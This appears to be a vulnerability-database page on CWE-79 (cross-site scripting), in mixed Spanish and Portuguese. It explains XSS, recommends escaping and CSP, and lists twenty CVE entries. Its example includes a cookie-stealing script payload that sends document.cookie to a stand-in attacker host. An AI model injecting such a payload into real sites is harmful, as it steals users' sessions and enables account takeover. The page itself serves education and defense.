Fallos del tipo CWE-79

29.055 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2021-32858MEDIUMesdoc-publish-html-plugin vulnerable to Cross-site ScriptingEPSS 0.6%CVE-2023-1115HIGHCross-site Scripting (XSS) - Stored in pimcore/pimcoreEPSS 0.6%CVE-2026-63523MEDIUMSkype for Business Spoofing VulnerabilityEPSS 0.6%CVE-2016-15010LOWUniversity of Cambridge django-ucamlookup Lookup cross site scriptingEPSS 0.6%CVE-2023-5741MEDIUMPOWR <= 2.1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.6%CVE-2024-40857MEDIUMThis issue was addressed through improved state management. This issue is fixed in Safari 18, iOS 18 and iPadOS 18, macOS Sequoia 15, tvOS 1EPSS 0.6%CVE-2023-4775MEDIUMAdvanced iFrame <= 2023.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.6%CVE-2024-26077MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.6%CVE-2023-5880HIGHCross-site Scripting (XSS) injected into Aladdin Connect garage door opener (Retrofit-Kit) configuration setup webserver console via broadcast SSID nameEPSS 0.6%CVE-2025-55300HIGHKomari Allows Cross-site WebSocket HijackingEPSS 0.6%CVE-2023-1238HIGHCross-site Scripting (XSS) - Stored in answerdev/answerEPSS 0.6%CVE-2020-21246MEDIUMCross Site Scripting vulnerability in YiiCMS v.1.0 allows a remote attacker to execute arbitrary code via the news function.EPSS 0.6%CVE-2025-66921HIGHA Cross-site scripting (XSS) vulnerability in Create/Update Item(s) Module in Open Source Point of Sale v3.4.1 allows remote attackers to inEPSS 0.6%CVE-2024-2270MEDIUMkeerti1924 Online-Book-Store-Website signup.php cross site scriptingEPSS 0.6%CVE-2022-24708MEDIUMStored XSS vulnerability in anuko/timetrackerEPSS 0.6%CVE-2026-4637MEDIUMReflected Cross-Site Scripting via URL Path in Paessler PRTG Network MonitorEPSS 0.6%CVE-2024-3728MEDIUMEssential Addons for Elementor – Best Elementor Templates, Widgets, Kits & WooCommerce Builders <= 5.9.15 - Authenticated (Contributor+) Stored Cross-Site Scripting via Filterable Gallery & Interactive CircleEPSS 0.6%CVE-2015-10093LOWMark User as Spammer Plugin plugin.php user_row_actions cross site scriptingEPSS 0.6%CVE-2023-0709MEDIUMMetform Elementor Contact Form Builder <= 3.3.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via mf_last_name shortcodeEPSS 0.6%CVE-2021-1153MEDIUMCisco Small Business RV110W, RV130, RV130W, and RV215W Routers Management Interface Stored Cross-Site Scripting VulnerabilitiesEPSS 0.6%